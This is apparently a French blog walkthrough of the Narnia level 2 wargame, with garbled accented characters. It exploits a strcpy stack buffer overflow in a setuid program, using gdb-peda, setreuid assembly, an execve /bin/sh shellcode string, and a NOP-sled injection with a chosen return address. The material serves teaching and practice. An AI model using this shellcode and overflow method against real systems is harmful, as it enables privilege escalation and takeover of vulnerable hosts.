đŠNarnia 2
Comme Ă lâaccoutumĂ©e, nous nous retrouvons pour le 3Ăšme challenge de cette sĂ©rie Narnia.
Nous allons découvrir un nouvel outil indispensable pour le challenge, mais aussi approfondir des connaissances vu au cours des précédents challenges.
DĂ©couverte
Voici le code source du programme narnia2 :
#include
#include
#include
int main(int argc, char * argv[]){
char buf[128]; # Un buffer de 128 octets
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Ici le bug a exploitĂ© nâest pas visible au premier coup dâĆil.
Il faut savoir que strcpy
est une fonction dĂ©prĂ©ciĂ©e car elle est vulnĂ©rable au Buffer overflow : elle nâa pas la possibilitĂ© de vĂ©rifier la taille du buffer de destination.
On peut donc injecter plus de caractĂšres que ce que peut recevoir la variable buf
lors du strcpy
.
Pour analyser le fonctionnement plus en dĂ©tail, jâai utilisĂ© peda-gdb
. Il sâagit dâun dĂ©buggeur permettant de dĂ©sassembler un programme pour comprendre ce quâil sây passe.
On le lance en tapant la commande :
peda
On sélectionne le fichier à exécuter :
file /narnia/narnia2
On configure les arguments que lâon va injecter dans la fonction de cette maniĂšre :
pset arg '"A"*135'
On configure un breakpoint (sinon le programme va dĂ©filer jusquâĂ la fin et on ne pourra pas voir ce quâil se passe) :
break *main
Et enfin on démarre le programme :
start
Le programme va ensuite attendre que lâon passe les instructions une Ă une avec la touche nÂ
puis Entrée.
Â
Sur lâimage ci-dessous, voici le rĂ©sultat de ces opĂ©rations :
Si câest la premiĂšre fois que vous utilisez un dĂ©bugueur, ne paniquez pas !
Â
Lâaffichage peut paraitre impressionnant au dĂ©but mais il est en fait assez intuitif :
Par rapport au programme, nous en sommes Ă lâinstruction strcpy
(encadré en rouge).
Sur la pile, on voit bien quâil y a des âAâ rĂ©pĂ©tĂ©s 135 fois (soit 7 de trop pour buf
) (encadré en rouge).
Je passe les instructions jusquâau ret
:
On voit que la valeur de EIP a Ă©tĂ© modifiĂ©e. Alors quâelle est censĂ©e contenir lâadresse mĂ©moire de la prochaine instruction, elle contient dĂ©sormais une chaine de 3 âAâ.
Ainsi, lors du ret
, lorsque le programme va vouloir aller Ă la prochaine instruction, il va se rĂ©fĂ©rer Ă EIP. Or, la nouvelle adresse nâest pas valide.
Câest cela qui cause le Segmentation Fault
.
Pour rĂ©soudre ce challenge il va donc falloir prendre le contrĂŽle dâEIP pour lui faire exĂ©cuter notre propre code. Câest le principe dâune attaque Stack over Flow
.
Ainsi, pour rĂ©soudre ce challenge, nous avons besoin dâinjecter :
Â
- Des caractĂšres permettant de remplir le buffer ;
- Un shellcode ;
- Lâadresse de retour qui correspondra Ă lâadresse du dĂ©but du shellcode.
Construction du shellcode
Dans un premier temps, comme vu dans lâarticle prĂ©cĂ©dent, pour construire un shellcode, il faut tout dâabord crĂ©er un programme assembleur.
Le programme doit contenir :
- LâexĂ©cution dâune commande permettant dâutiliser le
sticky bit
pour sâĂ©lever en privilĂšges - LâexĂ©cution dâune commande permettant dâexĂ©cuter
/bin/sh
Elévation de privilÚges
Afin de sâĂ©lever en privilĂšges, on utilise le sticky bit.
Le sticky bit
est prĂ©sent sur les fichiers qui sâexĂ©cutent avec un autre utilisateur que lâutilisateur courant.
Câest notamment utile pour les processus qui ont besoin temporairement des droits root.
Cependant, il sâagit dâune pratique dangereuse car elle permet Ă un attaquant dâexploiter une faille du programme et dâainsi obtenir des accĂšs privilĂ©giĂ©s.
Câest ce nous allons tenter de faire dans ce challenge
Pour sâĂ©lever en privilĂšges grĂące au sticky bit, on utilise la commande setreuid()
.
setreuid()
définit les identifiants réels et effectifs du processus appelant.
Â
LâID rĂ©el est la personne que lâon est rĂ©ellement et lâID effectif est celui qui permet au systĂšme de nous autoriser ou non Ă effectuer certaines actions.
Â
On Ă©crit donc un script ASM 32 bits faisant un appel (syscall) Ă la fonction setreuid.
Â
Pour trouver le numĂ©ro dâappel, il faut fouiller dans le fichier /usr/include/asm/unistd_32.h
de la machine Narnia :
Il sâagit du numĂ©ro dâappel 70.
Ensuite, il faut trouver quels arguments on doit configurer pour appeler la fonction.
Ici nous avons 2 possibilitĂ©s : celle dâutiliser getuid
ou celle de rentrer directement lâID dans le programme.
La solution la plus simple est de rentrer directement lâID dans le programme.
Sur ce site : https://faculty.nps.edu/cseagle/assembly/sys_call.html, vous trouverez tous les syscall, ainsi que leur arguments.
Â
Ainsi, pour un programme assembleur 32 bits qui appelle la fonction setreuid
pour lâutilisateur narnia3, voici ce que ça donne :
section .text
global _start
_start:
; xor
xor eax, eax
xor ebx, ebx
; setreuid(rid, eid);
xor eax, eax
;rid
mov bx, 14003 ; bx est le registre 16 bits de ebx
;eid
mov cx, 14003 ; cx est le registre 16 bits de ecx
mov al, 70 ; al est le registre 8 bits de eax
int 0x80 ; syscall
14003 est lâid de narnia3, on le configure 2 fois : pour lâid effectif et rĂ©el.
Le fait dâutiliser les registres bx
et cx
permet dâĂ©viter dâavoir des zĂ©ros dans le shellcode.
Â
Pour rappel, voici les différents registres, ainsi que leur taille :
Il est important de tenir compte de la taille de la donnĂ©e Ă stocker afin de choisir le registre le plus adaptĂ©. Cela permet notamment dâĂ©viter dâavoir des 0 au milieu du shellcode, empĂȘchant son fonctionnement.
Il faut ensuite rĂ©pĂ©ter lâopĂ©ration pour la fonction execve
et la fonction exit
.
Vous pouvez vous inspirer de cet exemple afin de rédiger cette seconde partie :
https://www.exploit-db.com/exploits/43716
Formatage
Une fois votre code terminé, exécuter la commande nasm
afin de le compiler :
nasm -f elf32 shellcode.s
Puis, regarder la sortie de la commande :
objdump -d shellcode.o
RĂ©cupĂ©rez la deuxiĂšme colonne, qui contient le code en hexadĂ©cimal et formatez le afin dâobtenir un shellcode de ce format lĂ :
"\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
Debug
Avant de tester que votre shellcode fonctionne, vous devez trouver lâadresse de retour.
Cette adresse se situera Ă la fin de lâinjection. Alors que lâinjection remplira lâentiĂšretĂ© de la pile, lâadresse de retour sera inscrite sur le registre EIP. Ce registre permet de connaitre oĂč se trouve la prochaine instruction.
Ainsi, dÚs que EIP sera lu, notre code sera exécuté.
Pour dĂ©terminer lâadresse de retour, nous pouvons utiliser de nouveau peda-gdb
.
Â
Commençons par lancer lâutilitaire :
file /narnia/narnia2
Configurons des arguments :
set args $(python2 -c 'print("\x90"*150)')
Cet argument permet dâafficher 150 caractĂšres \x90
, autrement dit âNOPâ, ce qui signifie âNo Operationâ en assembleur.
Â
Ajoutons un breakpoint, pour pouvoir faire dĂ©filer tranquillement le programme et voir ce quâil sây passe :
break *main+68
Lancer le programme :
run
Le programme dĂ©file jusquâau prochain breakpoint.
Â
Afficher le contenu de la pile, afin de connaitre lâadresse de retour que lâon pourra utiliser :
x/100x $esp
Le premier
x
signifie âExamine memoryâ.
/100x
signifie âaffiche les 100 valeurs suivantes en hexadĂ©cimalâ.
Voici le résultat :
gdb-peda$ x/100x $esp
0xffffd400: 0x0804a01c 0xffffd408 0x90909090 0x90909090
0xffffd410: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd420: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd430: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd440: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd450: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd460: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd470: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd480: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd490: 0x90909090 0x90909090 0x90909090 0xff009090
0xffffd4a0: 0xf7fab000 0x08049196 0x00000002 0xffffd544
0xffffd4b0: 0xf7fab000 0xffffd544 0xf7ffcb80 0xf7ffd020
0xffffd4c0: 0x89760a03 0xc2968013 0x00000000 0x00000000
0xffffd4d0: 0x00000000 0xf7ffcb80 0xf7ffd020 0xd8e42900
0xffffd4e0: 0xf7ffda40 0xf7da24a6 0xf7fab000 0xf7da25f3
0xffffd4f0: 0x00000000 0x0804b0d8 0xffffd550 0xf7ffd020
0xffffd500: 0x00000000 0xf7fd8ff4 0xf7da256d 0x0804b1c8
0xffffd510: 0x00000002 0x08049080 0x00000000 0x080490ac
0xffffd520: 0x08049196 0x00000002 0xffffd544 0x00000000
0xffffd530: 0x00000000 0xf7fcaaa0 0xffffd53c 0xf7ffda40
0xffffd540: 0x00000002 0xffffd696 0xffffd6a6 0x00000000
0xffffd550: 0xffffd73d 0xffffd74d 0xffffd75f 0xffffd76f
0xffffd560: 0xffffd784 0xffffd793 0xffffd79c 0xffffd7af
0xffffd570: 0xffffd7bc 0xffffddab 0xffffddb6 0xffffddeb
0xffffd580: 0xffffde0d 0xffffde24 0xffffde2f 0xffffde4f
On voit qu’il y a un bloc de “\x90” allant de l’adresse 0xffffd400 jusqu’Ă Â 0xffffd490 ce qui reprĂ©sente notre injection.
Vous pouvez choisir une adresse de retour dans cette plage, au milieu des NOP. Pour ma part, jâai choisi 0xffffd428
.
Entrez la touche ân
â pour passer Ă lâinstruction suivante et continuer dâexplorer le code si vous le dĂ©sirez.
Vous avez maintenant tous les ingrédients pour construire votre injection.
Il ne vous manque plus quâĂ trouver le bon nombre de NOP pour quâEIP prenne bien la valeur de lâadresse de retour voulue.
Pour cela, vous pouvez tester dans peda de mettre des A et des B en grande quantitĂ©, jusquâĂ trouver la bonne quantitĂ©.
Par exemple :
set args $(python2 -c 'print("A"*150 + "BBBB")')
Ici, EIP = âAAAAâ, cela signifie quâil y a trop de âAâ.
Continuez ainsi jusquâĂ ce que EIP soit Ă©gale Ă âBBBBâ.
Lorsque câest le cas, remplacez les âAâ par des NOP + le shellcode, et les B par lâadresse de retour.
Â
Vous obtiendrez une injection de ce format :
$(python2 -c 'print("x90"*X +"shellcode" + "\x28\xd4\xff\xff")')
oĂč X = taille trouvĂ©e avec les A – longueur du shellcode
Remarque : Il est conseillĂ© dâajouter quelques NOP aprĂšs le shellcode pour Ă©viter tout bug. Il faudra en tenir compte dans le calcul.
Conclusion
FĂ©licitations Ă vous si vous avez rĂ©ussi le challenge ! đ„ł
Si ce nâest pas le cas, ne vous dĂ©couragez pas. Il sâagit dâun challenge complexe, qui implique de bien comprendre lâassembleur ainsi que le principe de pile.
Quoi quâil arrive, je suis sĂ»re que vous ressortirez de ce challenge avec de nouvelles compĂ©tences acquises, comme ce fut le cas pour moi đ
Recent Comments